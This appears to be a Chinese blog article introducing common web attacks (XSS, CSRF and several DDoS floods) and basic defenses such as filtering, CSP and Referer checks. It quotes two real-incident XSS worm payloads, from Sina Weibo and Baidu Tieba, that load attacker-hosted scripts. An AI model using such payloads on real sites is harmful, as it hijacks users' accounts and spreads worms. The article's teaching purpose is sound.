WEB常见的攻击方式

3,253 阅读13分钟

前言:之前比特币可谓出尽风头,各大炒币机构,挖矿者,层出不穷。某天上班时,打开线上网页,加载奇慢无比,紧急排查,发现服务器占用率超过90%,进一步排查。原来是网页被植入了一段挖矿代码...

本文第一个阶段,也由此而来

XSS攻击

XSS攻击全称跨站脚本攻击,是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS,XSS是一种在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。

两个国内,比较出名的例子。只是举例子,请勿模仿,与本文概不相关。

新浪微博XSS事件

  1. 黑客通过对新浪微博的分析,发现新浪名人堂由于代码过滤不严,导致XSS漏洞的存在,并可以通过构造脚本的方式植入恶意代码。
  2. 通过分析发现,在新浪名人堂部分中,当提交http://weibo.com/pub/star/g/xyyyd"><script src=//www.2kt.cn/images/t.js></script>?type=updateurl时,新浪会对该字符串进行处理,变成类似http://weibo.com/pub/star.php?g=xyyyd"><script src=//www.2kt.cn/images/t.js></script>?type=update的url。
  3. 由于应用程序没有对参数g做充足的过滤,且将参数值直接显示在页面中。黑客利用这一点,将参赛g,替换成他们的JS脚本。该JS脚本是黑客可以控制的文件,使得黑客可以构造任意JS脚本嵌入到weibo.com的页面中,且通过Ajax技术完全实现异步提交数据的功能,进而黑客通过构造特定的JS代码实现了受此XSS蠕虫攻击的客户自动发微博、添加关注和发私信等操作。
  4. 然后,黑客为了使该XSS蠕虫代码可以大范围的感染传播,会通过发私信或发微博的方式诱惑用户去点击存在跨站代码的链接,尤其是针对V标认证的用户,因为此类用户拥有大量的关注者,所以如果此类用户中毒,必然可以实现蠕虫的大范围、快速的传播。

百度贴吧XSS事件

  1. 黑客通过对贴吧的分析,发现贴吧对于某个地方过滤不严,导致XSS漏洞的存在,并可以通过构造脚本的方式植入恶意代码。
  2. 通过分析发现,在贴吧某个地方的分享/转帖功能中,由于转帖部分里面有个div没有做充足的过滤,还能在帖子列表直接显示,黑客利用这一点,在div上利用onmouseover植入代码
  3. 具体表现形式为发一个帖子,帖子标题是xxx,帖子内容是"style="height:100%;width:100%;position:fixed "onmouseover="$.getScript(\u0027//http://baid.ws/c8tf\u0027),只要用户一移动鼠标,马上就会被感染,再将类似的帖子发出去,以此循环。

XSS攻击类型

  1. 一类是反射型XSS,又称非持久型XSS。当用受害者被引诱点击一个恶意链接,提交一个伪造的表单,恶意代码便会和正常返回数据一起作为响应发送到受害者的浏览器,从而骗过了浏览器,使之误以为恶意脚本来自于可信的服务器,以至于让恶意脚本得以执行。
  2. 一类是储存型XSS,也就是持久型XSS。注入的脚本永久的存在于目标服务器上,每当受害者向服务器请求此数据时就会重新唤醒攻击脚本;
  3. 一类是DOM型XSS, 有点类似于存储型 XSS。但存储型 XSS 是将恶意脚本作为数据存储在服务器中,每个调用数据的用户都会受到攻击。但 DOM 型 XSS 则是一个本地的行为,更多是本地更新 DOM 时导致了恶意脚本执行。

上面两个例子,就是第二种攻击类型造成的,危害十分巨大。

XSS防御

  1. 特殊字符过滤
<script><script>
<style></style>
a,href | events
img,src | events
style=""
  1. 引入CSP
  • 内容安全策略(Content Security Policy),实质就是白名单制度, 开发者明确告诉客户端,哪些外部资源可以加载和执行,大大增强了网页的安全性。
  1. XSS与React
  • By default, React DOM escapes any values embedded in JSX before rendering them. Thus it ensures that you can never inject anything that’s not explicitly written in your application. Everything is converted to a string before being rendered. This helps prevent XSS (cross-site-scripting) attacks.
  • 也就是说React DOM 在渲染之前默认会 过滤 所有传入的值。它可以确保你的应用不会被注入攻击。所有的内容在渲染之前都被转换成了字符串。这样可以有效地防止 XSS(跨站脚本) 攻击。
  • 但是React有一个函数叫dangerouslySetInnerHTML,是React提供的替换浏览器DOM中的innerHTML接口的一个函数。使用此函数的时候得小心,应该转义相关的插入内容,防止受到XSS攻击。

CSRF攻击

CSRF(Cross-site request forgery)跨站请求伪造,也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。

  • 与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。
  • 攻击主要过程
    1. 浏览器登录并访问网站A;
    2. 验证成功,生成cookie,创建了回话;
    3. 攻击者构造恶意网址,用户访问恶意地址;
    4. 攻击者获取受害者Cookie,访问网站A;
    5. 攻击者模仿用户登录访问A成功。
  • 攻击侧重点
    1. CSRF的攻击建立在浏览器与web服务器的会话之中
    2. 欺骗用户访问url

简单的例子,介绍CSRF攻击

大家应该都知道,现在支付扫码很流行。

  1. 假如有一个大妈A准备上街摆摊,开始之后,所有的收钱过程,都是面对面交易。人多的时候,找钱很麻烦,有一天,一个年轻人提出用XX支付。然后一顿解释跟操作之后,大妈学会了移动支付收钱。她发现这种方式非常方便,不用从口袋里掏钱去找零钱。
  2. 人多了之后,大妈每次重复的掏手机,让她很郁闷,旁边的小贩告诉她,可以将支付码打印出来。大妈尝试之后,发现更加方便了。
  3. 有一天,一个坏心眼的人,趁大妈不注意,将支付码换成了他的。于是就形成了一种大妈在场,但是又不知情的情况下,少收了很多的钱。
  4. CSRF差不多就是这种操作,比如你在网站A浏览一段内容,然后里面有个打赏功能。每次看完文章,你都要打赏一下别人。有一天,突然弹出一个链接,'测测自己的桃花运',然后好奇一点之后,发现网页闪烁了一下之后就没反应了。你继续看完文章,点击打赏,提示余额不足...
  5. 由于CSRF的例子不多,所以举了一个非常浅显的例子,来帮助大家更直白的了解CSRF的攻击模式。

CSRF防御

  • 客户端:
    • 涉及到私密部分的内容,加上验证码验证
    • 表单提交的时候,加上一个双向绑定的值,这个值从服务端请求回来,做为一个真种子。再利用一个算法计算出来,只有手动输入的,才能触发这个值,提交表单的时候,一起提交上去。或者从服务端请求来一个token,表单提交的时候,一起提交,但是这种方法很麻烦。
  • 服务端:
    • 验证 HTTP Referer 字段,也就是Referer Check,Referer Check在Web最常见的应用就是“防止图片盗链”。
      1. 同理,Referer Check也可以被用于检查请求是否来自合法的“源”(Referer值是否是指定页面,或者网站的域),如果都不是,那么就极可能是CSRF攻击。
      2. 然而,这种方法并非万无一失。Referer 的值是由浏览器提供的,虽然 HTTP 协议上有明确的要求,但是每个浏览器对于 Referer 的具体实现可能有差别,并不能保证浏览器自身没有安全漏洞。使用验证 Referer 值的方法,就是把安全性都依赖于第三方(即浏览器)来保障,从理论上来讲,这样并不安全。
    • 将GET请求改成POST请求,但是这种方式也不是绝对安全的。
    • 在 HTTP 头中自定义属性并验证,然而这种方法的局限性非常大。XMLHttpRequest 请求通常用于 Ajax 方法中对于页面局部的异步刷新,并非所有的请求都适合用这个类来发起,而且通过该类请求得到的页面不能被浏览器所记录下,从而进行前进,后退,刷新,收藏等操作,给用户带来不便。

DDOS攻击

DDOS(Distributed Denial of Service)攻击全称分布式拒绝服务。

  1. 主要通过大量合法的请求占用大量网络资源, 从而使合法用户无法得到服务的响应,是目前最强大、最难防御的攻击之一。
  2. DDoS攻击可以针对网络通讯协议的各层,手段大致有:TCP类的SYN Flood、ACK Flood,UDP类的Fraggle、Trinoo,DNS Query Flood,ICMP Flood,Slowloris类。
  3. 通常,在攻击开始前,攻击者会提前控制大量的用户计算机,称之为“肉鸡”,并通过指令使大量的肉鸡在同一时刻对某个主机进行访问,从而达到瘫痪目标主机的目的。
  4. ddos攻击防御最大的难点,在于攻击者发起的攻击的成本远低于防御的成本。比如黑客可以轻易的控制大量肉鸡发起10G,100G的攻击。而要防御这样的攻击10G,100G带宽的成本却是100W,1000W…。

SYN Flood

  1. 简单说一下tcp三次握手,客户端先服务器发出请求,请求建立连接,然后服务器返回一个报文,表明请求以被接受,然后客户端也会返回一个报文,最后建立连接。
  2. 那么如果有这么一种情况,攻击者伪造ip地址,发出报文给服务器请求连接,这个时候服务器接受到了,根据tcp三次握手的规则,服务器也要回应一个报文,可是这个ip是伪造的,报文回应给谁呢,第二次握手出现错误,第三次自然也就不能顺利进行了,这个时候服务器收不到第三次握手时客户端发出的报文,又再重复第二次握手的操作。
  3. 如果攻击者伪造了大量的ip地址并发出请求,这个时候服务器将维护一个非常大的半连接等待列表,占用了大量的资源,最后服务器瘫痪。

ACK Flood

  1. 在TCP连接建立之后,所有的数据传输TCP报文都是带有ACK标志位的,主机在接收到一个带有ACK标志位的数据包的时候,需要检查该数据包所表示的连接四元组是否存在,如果存在则检查该数据包所表示的状态是否合法,然后再向应用层传递该数据包。
  2. 如果在检查中发现该数据包不合法,例如该数据包所指向的目的端口在本机并未开放,则主机操作系统协议栈会回应RST包告诉对方此端口不存在。通常状态检测防火墙所做的事情与此类似,只不过防火墙只拦截非法的数据包,而不主动回应。
  3. 当发包速率很大的时候,主机操作系统将耗费大量的精力接收报文、判断状态,同时要主动回应RST报文,正常的数据包就可能无法得到及时的处理。

DNS Query Flood

  1. UDP DNS Query Flood攻击采用的方法是向被攻击的服务器发送大量的域名解析请求,通常请求解析的域名是随机生成或者是网络世界上根本不存在的域名。
  2. 被攻击的DNS 服务器在接收到域名解析请求的时候首先会在服务器上查找是否有对应的缓存,如果查找不到并且该域名无法直接由服务器解析的时候,DNS 服务器会向其上层DNS服务器递归查询域名信息。
  3. 域名解析的过程给服务器带来了很大的负载,每秒钟域名解析请求超过一定的数量就会造成DNS服务器解析域名超时。

ICMP flood

  1. ICMP FLOOD是一种DDOS攻击,通过对其目标发送超过65535字节的数据包,就可以令目标主机瘫痪,如果大量发送就成了洪水攻击。
  2. ICMP是(Internet Control Message Protocol)Internet控制报文协议。它是TCP/IP协议族的一个子协议,用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息。这些控制消息虽然并不传输用户数据,但是对于用户数据的传递起着重要的作用。

CC攻击

  1. CC(Challenge Collapsar)攻击属于DDos的一种,是基于应用层HTTP协议 发起的DDos攻击,也被称为HTTP Flood。
  2. 攻击者通过控制的大量“肉鸡”或者利用从互联网上搜寻的大量匿名的HTTP代理,模拟正常用户给网站发起请求直到该网站拒绝服务为止。
  3. 大部分网站会通过CDN以及分布式缓存来加快服务端响应,提升网站的吞吐量,而这些精心构造的HTTP请求往往有意避开这些缓存,需要进行多次DB查询操作或者是一次请求返回大量的数据,加速系统 资源消耗,从而拖垮后端的业务处理系统,甚至连相关存储以及日志收集系统也无法幸免。

DDOS防御

  1. 主要在于硬件,主机,服务器系统,这里就不细说了(主要是不太懂...)。
  2. 阿里巴巴的安全团队在实战中发现,DDoS 防御产品的核心是检测技术和清洗技术。

延伸阅读: GitHub遭遇最大峰值的DDOS攻击


这里有很多攻击模式都未提到,比如XXE,SQLI等,这篇文章在这里只起到一个抛砖的作用,每一个部分都可以深入研究很久,只是希望大家引起对WEB安全的重视。

这是13年到17年的一个图片对比,图片来源OWASP更新对比